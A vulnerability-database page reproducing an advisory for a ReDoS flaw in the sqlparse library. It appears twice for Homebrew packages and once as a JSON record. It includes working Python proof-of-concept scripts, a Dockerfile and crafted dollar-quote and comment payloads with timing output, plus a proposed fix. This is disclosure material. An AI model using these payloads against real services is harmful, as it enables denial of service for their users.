Vulnerability-Lookup

URL	Tags
https://github.com/andialbrecht/sqlparse/security…	x_refsource_CONFIRM
https://github.com/andialbrecht/sqlparse/commit/d…	x_refsource_MISC

Vendor	Product	Version	CPE status
andialbrecht	sqlparse	Affected: < 0.6.0	guessed

BREW-ATHENACLI-CVE-2026-59893 (GHSA-PRG7-HCFM-MFCR)

Vulnerability from osv_homebrew – Published: 2026-08-18 08:40 – Updated: 2026-09-09 23:42 – Source website

Summary

sqlparse: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)

Details

Summary

sqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at sqlparse/keywords.py:33 uses a backreference (\1) to match closing dollar-quote delimiters, causing O(n²) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.

Scope note: the same regex shape — a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop — is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see "Additional affected pattern: multiline comments" below.

Details

The vulnerable regex is defined in sqlparse/keywords.py as part of SQL_REGEX:

# sqlparse/keywords.py:33
(r'((?<![\w\"\$])\$(?:[_A-ZÀ-Ü]\w*)?\$)[\s\S]*?\1', tokens.Literal),

This pattern first captures a dollar-quote delimiter (e.g., $tag$ ) into group 1, then attempts to match any characters ([\s\S]*?) up to the same delimiter again via backreference \1. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N²) total regex work.

The lexer applies this regex at every character position (sqlparse/lexer.py:136-138):

# sqlparse/lexer.py:136-138
for pos, char in iterable:
    for rexmatch, action in self._SQL_REGEX:
        m = rexmatch(text, pos)

The data flow from public API to the vulnerable sink is:

sqlparse/__init__.py:20 — parse(sql) accepts caller-controlled SQL.
sqlparse/__init__.py:29 — delegates to parsestream(sql, encoding).
sqlparse/__init__.py:43 — FilterStack.run(stream, encoding) is invoked.
sqlparse/engine/filter_stack.py:31 — lexer.tokenize(sql, encoding) is called with no length limit or timeout.
sqlparse/lexer.py:137 — every regex in _SQL_REGEX is tried at the current position.
sqlparse/keywords.py:33 — the backreference regex performs repeated delimiter searches.

The MAX_GROUPING_TOKENS = 10000 limit in sqlparse/engine/grouping.py:20 fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.

Empirically measured scaling confirms super-linear complexity:

Input (N unique openers)	Bytes	Elapsed
250	1,889	0.066 s
500	3,889	0.144 s
1,000	7,889	0.397 s
2,000	16,889	1.314 s

The timing ratio from n=1000 to n=2000 is 3.31× (input doubled → time tripled), confirming O(n²) growth.

PoC

Prerequisites: Python 3.x with sqlparse installed (tested against version 0.5.6.dev0, commit c923da9).

Using Docker (isolated reproduction):

# Build from the repository root (parent of vuln-001/)
docker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .

# Run with no network access
docker run --rm --network=none sqlparse-vuln001

Direct Python reproduction:

import time
import sqlparse
from sqlparse.exceptions import SQLParseError

def make_payload(n: int) -> str:
    # N unique unmatched dollar-quote openers — none have a matching closing delimiter
    return " ".join(f"$a{i}$x" for i in range(n))

for n in [250, 500, 1000, 2000]:
    payload = make_payload(n)
    t0 = time.perf_counter()
    try:
        sqlparse.parse(payload)
        status = "ok"
    except SQLParseError as e:
        status = f"SQLParseError: {e}"
    elapsed = time.perf_counter() - t0
    print(f"n={n:>5}  bytes={len(payload):>7}  elapsed={elapsed:.3f}s  status={status}")

Expected output (super-linear scaling confirms ReDoS):

n=  250  bytes=   1889  elapsed=0.066s  status=ok
n=  500  bytes=   3889  elapsed=0.144s  status=ok
n= 1000  bytes=   7889  elapsed=0.397s  status=ok
n= 2000  bytes=  16889  elapsed=1.314s  status=ok

Key ratio (n=1000 -> n=2000): 3.31x
[PASS] Super-linear (O(n^2)) scaling CONFIRMED.

Attack input structure:

$a0$x $a1$x $a2$x ... $a{N-1}$x

Each token $ai$x resembles a PostgreSQL-style dollar-quote opening tag. Because every tag is unique and no closing tag is present, the regex engine must scan to the end of the string for each opener before backtracking.

Remediation (proposed patch):

Replace the backreference regex with a deterministic two-pass approach: first locate all delimiter positions with re.finditer, then resolve open/close pairs in O(n) time, eliminating catastrophic backtracking entirely. See report_excerpt.md for the full diff.

Additional affected pattern: multiline comments

Reported independently as GHSA-3crh-2448-7855 (by @7thParkk) and merged into this advisory: it is the same defect class in the same lexer loop, and it is addressed by the same fix.

Two further entries in SQL_REGEX use the same lazy dot-all shape, terminated by a literal delimiter instead of a backreference:

# sqlparse/keywords.py:20
(r'/\*\+[\s\S]*?\*/', tokens.Comment.Multiline.Hint),
# sqlparse/keywords.py:23
(r'/\*[\s\S]*?\*/',    tokens.Comment.Multiline),

A backreference is not required to trigger the quadratic behaviour. The cost comes from the lexer retrying every pattern at every input position (sqlparse/lexer.py:136-138): an unterminated /* scans to the end of the input and fails, so N unclosed openers cost O(N²).

PoC

import time, sqlparse

for n in (2000, 4000, 8000, 16000):
    payload = "/*x " * n
    t0 = time.perf_counter()
    sqlparse.parse(payload)
    print(f"n={n:6d}  bytes={len(payload):7d}  elapsed={time.perf_counter()-t0:.3f}s")

Lexing-only timings on 0.5.6.dev0 (commit f80af6a), isolating the regex work from grouping:

openers	bytes	lexing
2,000	8 KB	0.057 s
4,000	16 KB	0.196 s
8,000	32 KB	0.729 s
16,000	64 KB	2.717 s

Roughly 3.7x per doubling of the input, i.e. quadratic.

Note for reproduction: "/*" * n on its own is linear and does not reproduce the issue — in /*/*/*... the openers form overlapping */ pairs, so the pattern matches immediately. The opener must be padded (e.g. "/*x ") so that it never closes. A reproduction that only tries the unpadded form will wrongly conclude the issue is not present.

Impact

This is a Regular Expression Denial of Service (ReDoS) vulnerability. Any application or service that passes user-controlled SQL text to sqlparse.parse(), sqlparse.format(), or sqlparse.split() is affected. No authentication, special configuration, or elevated privileges are required — a single crafted HTTP request (or any other input channel carrying SQL text) is sufficient.

Under sustained attack, one or more CPU cores can be kept at 100% utilization, degrading or completely blocking service for all other users. Because the grouping-stage token limit fires only after the regex work is done, it provides no protection against this attack.

Affected use cases include: web applications that accept and display or format SQL; database administration tools; ORM query inspectors; SQL linters and formatters exposed as APIs.

Reproduction artifacts

`Dockerfile`

FROM python:3.11-slim

# Install build dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
    build-essential \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app

# Copy the sqlparse repository source code
COPY repo/ /app/repo/

# Install sqlparse from local source in editable mode
RUN pip install --no-cache-dir -e /app/repo/

# Copy the PoC script (build context is the parent of vuln-001/)
COPY vuln-001/poc.py /app/poc.py

# Default: run the PoC
CMD ["python3", "/app/poc.py"]

`poc.py`

"""
PoC: ReDoS in sqlparse dollar-quoted literal regex (VULN-001)

Affected code: sqlparse/keywords.py:33
    (r'((?<![\\w\\"\\$])\\$(?:[_A-ZÀ-Ü]\\w*)?\\$)[\\s\\S]*?\\1', tokens.Literal)

The backreference \\1 forces the regex engine to scan the entire remaining input
for each unmatched unique dollar-quote delimiter, yielding O(n^2) CPU complexity.

Attack input: a sequence of N unique, never-closed dollar-quote openers
    $a0$x $a1$x $a2$x ... $a{N-1}$x

Each opener $ai$ is unique, so the regex engine must exhaust the remaining
string before concluding no match exists.  With N openers this creates
O(N^2) regex work.

Expected observation: elapsed time grows quadratically (roughly 4x per 2x N).
PASS criterion: timing ratio between n=2000 and n=1000 >= 3.0 (clear super-linear).
"""

import sys
import time

try:
    import sqlparse
    from sqlparse.exceptions import SQLParseError
except ImportError as exc:
    print(f"[ERROR] Cannot import sqlparse: {exc}", file=sys.stderr)
    sys.exit(2)

print("=" * 60)
print("VULN-001 ReDoS PoC: sqlparse dollar-quoted literal regex")
print("=" * 60)
print(f"sqlparse version: {sqlparse.__version__}")
print()


def make_payload(n: int) -> str:
    """Generate N unique unmatched dollar-quote openers.

    Each token '$ai$x' looks like an opening dollar-quote delimiter
    but never has a closing delimiter, so the regex engine must scan
    the entire remaining string before giving up on each one.
    """
    return " ".join(f"$a{i}$x" for i in range(n))


results = []

sample_sizes = [250, 500, 1000, 2000]

for n in sample_sizes:
    payload = make_payload(n)
    byte_len = len(payload.encode())
    t_start = time.perf_counter()
    try:
        sqlparse.parse(payload)
        status = "ok"
    except SQLParseError as exc:
        status = f"SQLParseError({exc})"
    except Exception as exc:
        status = f"Exception({type(exc).__name__}: {exc})"
    elapsed = time.perf_counter() - t_start

    results.append((n, byte_len, elapsed, status))
    print(f"n={n:>5}  bytes={byte_len:>7}  elapsed={elapsed:>8.3f}s  status={status}")

print()

# Compute scaling ratios between consecutive sample sizes
print("Scaling analysis (O(n^2) expected -> ratio >= ~4x per 2x input):")
for i in range(1, len(results)):
    n_prev, _, t_prev, _ = results[i - 1]
    n_curr, _, t_curr, _ = results[i]
    if t_prev > 0:
        ratio = t_curr / t_prev
        n_ratio = n_curr / n_prev
        print(f"  n={n_prev} -> n={n_curr} (input x{n_ratio:.1f}): time ratio = {ratio:.2f}x")

print()

# PASS/FAIL verdict based on timing ratio between largest two points
_, _, t_1000, _ = results[2]  # n=1000
_, _, t_2000, _ = results[3]  # n=2000

PASS_THRESHOLD = 3.0

if t_1000 > 0:
    ratio_1000_2000 = t_2000 / t_1000
else:
    ratio_1000_2000 = 0.0

print(f"Key ratio (n=1000 -> n=2000): {ratio_1000_2000:.2f}x")

if ratio_1000_2000 >= PASS_THRESHOLD:
    print()
    print("[PASS] Super-linear (O(n^2)) scaling CONFIRMED.")
    print(f"       Time ratio {ratio_1000_2000:.2f}x >= threshold {PASS_THRESHOLD}x.")
    print("       ReDoS vulnerability in sqlparse dollar-quote regex is REPRODUCED.")
    sys.exit(0)
else:
    print()
    print("[FAIL] Super-linear scaling NOT confirmed within this run.")
    print(f"       Time ratio {ratio_1000_2000:.2f}x < threshold {PASS_THRESHOLD}x.")
    print("       The host may be too fast or JIT effects obscured the result.")
    print("       Try larger sample sizes or re-run on a slower host.")
    sys.exit(1)

Severity

7.5 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

URL

Type

	https://github.com/andialbrecht/sqlparse/security…	WEB
	https://github.com/andialbrecht/sqlparse/commit/d…	WEB
	https://github.com/andialbrecht/sqlparse	PACKAGE

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": null,
        "range_state": "affected",
        "resource": "sqlparse",
        "resource_purl": "pkg:pypi/sqlparse@0.4.4",
        "upstream_fixed_in": "0.6.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "athenacli",
        "purl": "pkg:brew/athenacli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/sqlparse@0.4.4",
        "name": "sqlparse",
        "resource": "sqlparse",
        "strategy": "registry",
        "subject_version": "0.4.4"
      }
    ]
  },
  "details": "### Summary\n\nsqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at `sqlparse/keywords.py:33` uses a backreference (`\\1`) to match closing dollar-quote delimiters, causing O(n\u00b2) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.\n\n**Scope note:** the same regex shape \u2014 a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop \u2014 is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see \"Additional affected pattern: multiline comments\" below.\n\n### Details\n\nThe vulnerable regex is defined in `sqlparse/keywords.py` as part of `SQL_REGEX`:\n\n```python\n# sqlparse/keywords.py:33\n(r\u0027((?\u003c![\\w\\\"\\$])\\$(?:[_A-Z\u00c0-\u00dc]\\w*)?\\$)[\\s\\S]*?\\1\u0027, tokens.Literal),\n```\n\nThis pattern first captures a dollar-quote delimiter (e.g., `$tag$`) into group 1, then attempts to match any characters (`[\\s\\S]*?`) up to the same delimiter again via backreference `\\1`. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N\u00b2) total regex work.\n\nThe lexer applies this regex at every character position (`sqlparse/lexer.py:136-138`):\n\n```python\n# sqlparse/lexer.py:136-138\nfor pos, char in iterable:\n    for rexmatch, action in self._SQL_REGEX:\n        m = rexmatch(text, pos)\n```\n\nThe data flow from public API to the vulnerable sink is:\n\n1. `sqlparse/__init__.py:20` \u2014 `parse(sql)` accepts caller-controlled SQL.\n2. `sqlparse/__init__.py:29` \u2014 delegates to `parsestream(sql, encoding)`.\n3. `sqlparse/__init__.py:43` \u2014 `FilterStack.run(stream, encoding)` is invoked.\n4. `sqlparse/engine/filter_stack.py:31` \u2014 `lexer.tokenize(sql, encoding)` is called with no length limit or timeout.\n5. `sqlparse/lexer.py:137` \u2014 every regex in `_SQL_REGEX` is tried at the current position.\n6. `sqlparse/keywords.py:33` \u2014 the backreference regex performs repeated delimiter searches.\n\nThe `MAX_GROUPING_TOKENS = 10000` limit in `sqlparse/engine/grouping.py:20` fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.\n\nEmpirically measured scaling confirms super-linear complexity:\n\n| Input (N unique openers) | Bytes  | Elapsed  |\n|--------------------------|--------|----------|\n| 250                      | 1,889  | 0.066 s  |\n| 500                      | 3,889  | 0.144 s  |\n| 1,000                    | 7,889  | 0.397 s  |\n| 2,000                    | 16,889 | 1.314 s  |\n\nThe timing ratio from n=1000 to n=2000 is **3.31\u00d7** (input doubled \u2192 time tripled), confirming O(n\u00b2) growth.\n\n### PoC\n\n**Prerequisites:** Python 3.x with sqlparse installed (tested against version `0.5.6.dev0`, commit `c923da9`).\n\n**Using Docker (isolated reproduction):**\n\n```bash\n# Build from the repository root (parent of vuln-001/)\ndocker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .\n\n# Run with no network access\ndocker run --rm --network=none sqlparse-vuln001\n```\n\n**Direct Python reproduction:**\n\n```python\nimport time\nimport sqlparse\nfrom sqlparse.exceptions import SQLParseError\n\ndef make_payload(n: int) -\u003e str:\n    # N unique unmatched dollar-quote openers \u2014 none have a matching closing delimiter\n    return \" \".join(f\"$a{i}$x\" for i in range(n))\n\nfor n in [250, 500, 1000, 2000]:\n    payload = make_payload(n)\n    t0 = time.perf_counter()\n    try:\n        sqlparse.parse(payload)\n        status = \"ok\"\n    except SQLParseError as e:\n        status = f\"SQLParseError: {e}\"\n    elapsed = time.perf_counter() - t0\n    print(f\"n={n:\u003e5}  bytes={len(payload):\u003e7}  elapsed={elapsed:.3f}s  status={status}\")\n```\n\n**Expected output (super-linear scaling confirms ReDoS):**\n\n```\nn=  250  bytes=   1889  elapsed=0.066s  status=ok\nn=  500  bytes=   3889  elapsed=0.144s  status=ok\nn= 1000  bytes=   7889  elapsed=0.397s  status=ok\nn= 2000  bytes=  16889  elapsed=1.314s  status=ok\n\nKey ratio (n=1000 -\u003e n=2000): 3.31x\n[PASS] Super-linear (O(n^2)) scaling CONFIRMED.\n```\n\n**Attack input structure:**\n\n```\n$a0$x $a1$x $a2$x ... $a{N-1}$x\n```\n\nEach token `$ai$x` resembles a PostgreSQL-style dollar-quote opening tag. Because every tag is unique and no closing tag is present, the regex engine must scan to the end of the string for each opener before backtracking.\n\n**Remediation (proposed patch):**\n\nReplace the backreference regex with a deterministic two-pass approach: first locate all delimiter positions with `re.finditer`, then resolve open/close pairs in O(n) time, eliminating catastrophic backtracking entirely. See `report_excerpt.md` for the full diff.\n\n### Additional affected pattern: multiline comments\n\nReported independently as GHSA-3crh-2448-7855 (by @7thParkk) and merged into this advisory: it is the same defect class in the same lexer loop, and it is addressed by the same fix.\n\nTwo further entries in `SQL_REGEX` use the same lazy dot-all shape, terminated by a literal delimiter instead of a backreference:\n\n```python\n# sqlparse/keywords.py:20\n(r\u0027/\\*\\+[\\s\\S]*?\\*/\u0027, tokens.Comment.Multiline.Hint),\n# sqlparse/keywords.py:23\n(r\u0027/\\*[\\s\\S]*?\\*/\u0027,    tokens.Comment.Multiline),\n```\n\nA backreference is not required to trigger the quadratic behaviour. The cost comes from the lexer retrying every pattern at every input position (`sqlparse/lexer.py:136-138`): an unterminated `/*` scans to the end of the input and fails, so N unclosed openers cost O(N\u00b2).\n\n**PoC**\n\n```python\nimport time, sqlparse\n\nfor n in (2000, 4000, 8000, 16000):\n    payload = \"/*x \" * n\n    t0 = time.perf_counter()\n    sqlparse.parse(payload)\n    print(f\"n={n:6d}  bytes={len(payload):7d}  elapsed={time.perf_counter()-t0:.3f}s\")\n```\n\nLexing-only timings on `0.5.6.dev0` (commit `f80af6a`), isolating the regex work from grouping:\n\n| openers | bytes | lexing |\n|---------|-------|--------|\n| 2,000   | 8 KB  | 0.057 s |\n| 4,000   | 16 KB | 0.196 s |\n| 8,000   | 32 KB | 0.729 s |\n| 16,000  | 64 KB | 2.717 s |\n\nRoughly 3.7x per doubling of the input, i.e. quadratic.\n\n**Note for reproduction:** `\"/*\" * n` on its own is *linear* and does not reproduce the issue \u2014 in `/*/*/*...` the openers form overlapping `*/` pairs, so the pattern matches immediately. The opener must be padded (e.g. `\"/*x \"`) so that it never closes. A reproduction that only tries the unpadded form will wrongly conclude the issue is not present.\n\n### Impact\n\nThis is a **Regular Expression Denial of Service (ReDoS)** vulnerability. Any application or service that passes user-controlled SQL text to `sqlparse.parse()`, `sqlparse.format()`, or `sqlparse.split()` is affected. No authentication, special configuration, or elevated privileges are required \u2014 a single crafted HTTP request (or any other input channel carrying SQL text) is sufficient.\n\nUnder sustained attack, one or more CPU cores can be kept at 100% utilization, degrading or completely blocking service for all other users. Because the grouping-stage token limit fires only after the regex work is done, it provides no protection against this attack.\n\nAffected use cases include: web applications that accept and display or format SQL; database administration tools; ORM query inspectors; SQL linters and formatters exposed as APIs.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\n# Install build dependencies\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n    build-essential \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy the sqlparse repository source code\nCOPY repo/ /app/repo/\n\n# Install sqlparse from local source in editable mode\nRUN pip install --no-cache-dir -e /app/repo/\n\n# Copy the PoC script (build context is the parent of vuln-001/)\nCOPY vuln-001/poc.py /app/poc.py\n\n# Default: run the PoC\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nPoC: ReDoS in sqlparse dollar-quoted literal regex (VULN-001)\n\nAffected code: sqlparse/keywords.py:33\n    (r\u0027((?\u003c![\\\\w\\\\\"\\\\$])\\\\$(?:[_A-Z\u00c0-\u00dc]\\\\w*)?\\\\$)[\\\\s\\\\S]*?\\\\1\u0027, tokens.Literal)\n\nThe backreference \\\\1 forces the regex engine to scan the entire remaining input\nfor each unmatched unique dollar-quote delimiter, yielding O(n^2) CPU complexity.\n\nAttack input: a sequence of N unique, never-closed dollar-quote openers\n    $a0$x $a1$x $a2$x ... $a{N-1}$x\n\nEach opener $ai$ is unique, so the regex engine must exhaust the remaining\nstring before concluding no match exists.  With N openers this creates\nO(N^2) regex work.\n\nExpected observation: elapsed time grows quadratically (roughly 4x per 2x N).\nPASS criterion: timing ratio between n=2000 and n=1000 \u003e= 3.0 (clear super-linear).\n\"\"\"\n\nimport sys\nimport time\n\ntry:\n    import sqlparse\n    from sqlparse.exceptions import SQLParseError\nexcept ImportError as exc:\n    print(f\"[ERROR] Cannot import sqlparse: {exc}\", file=sys.stderr)\n    sys.exit(2)\n\nprint(\"=\" * 60)\nprint(\"VULN-001 ReDoS PoC: sqlparse dollar-quoted literal regex\")\nprint(\"=\" * 60)\nprint(f\"sqlparse version: {sqlparse.__version__}\")\nprint()\n\n\ndef make_payload(n: int) -\u003e str:\n    \"\"\"Generate N unique unmatched dollar-quote openers.\n\n    Each token \u0027$ai$x\u0027 looks like an opening dollar-quote delimiter\n    but never has a closing delimiter, so the regex engine must scan\n    the entire remaining string before giving up on each one.\n    \"\"\"\n    return \" \".join(f\"$a{i}$x\" for i in range(n))\n\n\nresults = []\n\nsample_sizes = [250, 500, 1000, 2000]\n\nfor n in sample_sizes:\n    payload = make_payload(n)\n    byte_len = len(payload.encode())\n    t_start = time.perf_counter()\n    try:\n        sqlparse.parse(payload)\n        status = \"ok\"\n    except SQLParseError as exc:\n        status = f\"SQLParseError({exc})\"\n    except Exception as exc:\n        status = f\"Exception({type(exc).__name__}: {exc})\"\n    elapsed = time.perf_counter() - t_start\n\n    results.append((n, byte_len, elapsed, status))\n    print(f\"n={n:\u003e5}  bytes={byte_len:\u003e7}  elapsed={elapsed:\u003e8.3f}s  status={status}\")\n\nprint()\n\n# Compute scaling ratios between consecutive sample sizes\nprint(\"Scaling analysis (O(n^2) expected -\u003e ratio \u003e= ~4x per 2x input):\")\nfor i in range(1, len(results)):\n    n_prev, _, t_prev, _ = results[i - 1]\n    n_curr, _, t_curr, _ = results[i]\n    if t_prev \u003e 0:\n        ratio = t_curr / t_prev\n        n_ratio = n_curr / n_prev\n        print(f\"  n={n_prev} -\u003e n={n_curr} (input x{n_ratio:.1f}): time ratio = {ratio:.2f}x\")\n\nprint()\n\n# PASS/FAIL verdict based on timing ratio between largest two points\n_, _, t_1000, _ = results[2]  # n=1000\n_, _, t_2000, _ = results[3]  # n=2000\n\nPASS_THRESHOLD = 3.0\n\nif t_1000 \u003e 0:\n    ratio_1000_2000 = t_2000 / t_1000\nelse:\n    ratio_1000_2000 = 0.0\n\nprint(f\"Key ratio (n=1000 -\u003e n=2000): {ratio_1000_2000:.2f}x\")\n\nif ratio_1000_2000 \u003e= PASS_THRESHOLD:\n    print()\n    print(\"[PASS] Super-linear (O(n^2)) scaling CONFIRMED.\")\n    print(f\"       Time ratio {ratio_1000_2000:.2f}x \u003e= threshold {PASS_THRESHOLD}x.\")\n    print(\"       ReDoS vulnerability in sqlparse dollar-quote regex is REPRODUCED.\")\n    sys.exit(0)\nelse:\n    print()\n    print(\"[FAIL] Super-linear scaling NOT confirmed within this run.\")\n    print(f\"       Time ratio {ratio_1000_2000:.2f}x \u003c threshold {PASS_THRESHOLD}x.\")\n    print(\"       The host may be too fast or JIT effects obscured the result.\")\n    print(\"       Try larger sample sizes or re-run on a slower host.\")\n    sys.exit(1)\n```",
  "id": "BREW-athenacli-CVE-2026-59893",
  "modified": "2026-09-09T23:42:04Z",
  "published": "2026-08-18T08:40:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-prg7-hcfm-mfcr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/andialbrecht/sqlparse/commit/d1d80602741f77ec78e5a04ce4719244cf32352e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/andialbrecht/sqlparse"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "sqlparse: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)",
  "upstream": [
    "GHSA-prg7-hcfm-mfcr",
    "CVE-2026-59893",
    "PYSEC-2026-3698"
  ]
}

BREW-DOLPHIE-CVE-2026-59893 (GHSA-PRG7-HCFM-MFCR)

Vulnerability from osv_homebrew – Published: 2026-08-18 08:47 – Updated: 2026-09-12 08:52 – Source website

Summary

sqlparse: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)

Details

Summary

sqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at sqlparse/keywords.py:33 uses a backreference (\1) to match closing dollar-quote delimiters, causing O(n²) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.

Scope note: the same regex shape — a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop — is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see "Additional affected pattern: multiline comments" below.

Details

The vulnerable regex is defined in sqlparse/keywords.py as part of SQL_REGEX:

# sqlparse/keywords.py:33
(r'((?<![\w\"\$])\$(?:[_A-ZÀ-Ü]\w*)?\$)[\s\S]*?\1', tokens.Literal),

This pattern first captures a dollar-quote delimiter (e.g., $tag$ ) into group 1, then attempts to match any characters ([\s\S]*?) up to the same delimiter again via backreference \1. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N²) total regex work.

The lexer applies this regex at every character position (sqlparse/lexer.py:136-138):

# sqlparse/lexer.py:136-138
for pos, char in iterable:
    for rexmatch, action in self._SQL_REGEX:
        m = rexmatch(text, pos)

The data flow from public API to the vulnerable sink is:

sqlparse/__init__.py:20 — parse(sql) accepts caller-controlled SQL.
sqlparse/__init__.py:29 — delegates to parsestream(sql, encoding).
sqlparse/__init__.py:43 — FilterStack.run(stream, encoding) is invoked.
sqlparse/engine/filter_stack.py:31 — lexer.tokenize(sql, encoding) is called with no length limit or timeout.
sqlparse/lexer.py:137 — every regex in _SQL_REGEX is tried at the current position.
sqlparse/keywords.py:33 — the backreference regex performs repeated delimiter searches.

The MAX_GROUPING_TOKENS = 10000 limit in sqlparse/engine/grouping.py:20 fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.

Empirically measured scaling confirms super-linear complexity:

Input (N unique openers)	Bytes	Elapsed
250	1,889	0.066 s
500	3,889	0.144 s
1,000	7,889	0.397 s
2,000	16,889	1.314 s

The timing ratio from n=1000 to n=2000 is 3.31× (input doubled → time tripled), confirming O(n²) growth.

PoC

Prerequisites: Python 3.x with sqlparse installed (tested against version 0.5.6.dev0, commit c923da9).

Using Docker (isolated reproduction):

# Build from the repository root (parent of vuln-001/)
docker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .

# Run with no network access
docker run --rm --network=none sqlparse-vuln001

Direct Python reproduction:

import time
import sqlparse
from sqlparse.exceptions import SQLParseError

def make_payload(n: int) -> str:
    # N unique unmatched dollar-quote openers — none have a matching closing delimiter
    return " ".join(f"$a{i}$x" for i in range(n))

for n in [250, 500, 1000, 2000]:
    payload = make_payload(n)
    t0 = time.perf_counter()
    try:
        sqlparse.parse(payload)
        status = "ok"
    except SQLParseError as e:
        status = f"SQLParseError: {e}"
    elapsed = time.perf_counter() - t0
    print(f"n={n:>5}  bytes={len(payload):>7}  elapsed={elapsed:.3f}s  status={status}")

Expected output (super-linear scaling confirms ReDoS):

n=  250  bytes=   1889  elapsed=0.066s  status=ok
n=  500  bytes=   3889  elapsed=0.144s  status=ok
n= 1000  bytes=   7889  elapsed=0.397s  status=ok
n= 2000  bytes=  16889  elapsed=1.314s  status=ok

Key ratio (n=1000 -> n=2000): 3.31x
[PASS] Super-linear (O(n^2)) scaling CONFIRMED.

Attack input structure:

$a0$x $a1$x $a2$x ... $a{N-1}$x

Each token $ai$x resembles a PostgreSQL-style dollar-quote opening tag. Because every tag is unique and no closing tag is present, the regex engine must scan to the end of the string for each opener before backtracking.

Remediation (proposed patch):

Replace the backreference regex with a deterministic two-pass approach: first locate all delimiter positions with re.finditer, then resolve open/close pairs in O(n) time, eliminating catastrophic backtracking entirely. See report_excerpt.md for the full diff.

Additional affected pattern: multiline comments

Reported independently as GHSA-3crh-2448-7855 (by @7thParkk) and merged into this advisory: it is the same defect class in the same lexer loop, and it is addressed by the same fix.

Two further entries in SQL_REGEX use the same lazy dot-all shape, terminated by a literal delimiter instead of a backreference:

# sqlparse/keywords.py:20
(r'/\*\+[\s\S]*?\*/', tokens.Comment.Multiline.Hint),
# sqlparse/keywords.py:23
(r'/\*[\s\S]*?\*/',    tokens.Comment.Multiline),

A backreference is not required to trigger the quadratic behaviour. The cost comes from the lexer retrying every pattern at every input position (sqlparse/lexer.py:136-138): an unterminated /* scans to the end of the input and fails, so N unclosed openers cost O(N²).

PoC

import time, sqlparse

for n in (2000, 4000, 8000, 16000):
    payload = "/*x " * n
    t0 = time.perf_counter()
    sqlparse.parse(payload)
    print(f"n={n:6d}  bytes={len(payload):7d}  elapsed={time.perf_counter()-t0:.3f}s")

Lexing-only timings on 0.5.6.dev0 (commit f80af6a), isolating the regex work from grouping:

openers	bytes	lexing
2,000	8 KB	0.057 s
4,000	16 KB	0.196 s
8,000	32 KB	0.729 s
16,000	64 KB	2.717 s

Roughly 3.7x per doubling of the input, i.e. quadratic.

Note for reproduction: "/*" * n on its own is linear and does not reproduce the issue — in /*/*/*... the openers form overlapping */ pairs, so the pattern matches immediately. The opener must be padded (e.g. "/*x ") so that it never closes. A reproduction that only tries the unpadded form will wrongly conclude the issue is not present.

Impact

This is a Regular Expression Denial of Service (ReDoS) vulnerability. Any application or service that passes user-controlled SQL text to sqlparse.parse(), sqlparse.format(), or sqlparse.split() is affected. No authentication, special configuration, or elevated privileges are required — a single crafted HTTP request (or any other input channel carrying SQL text) is sufficient.

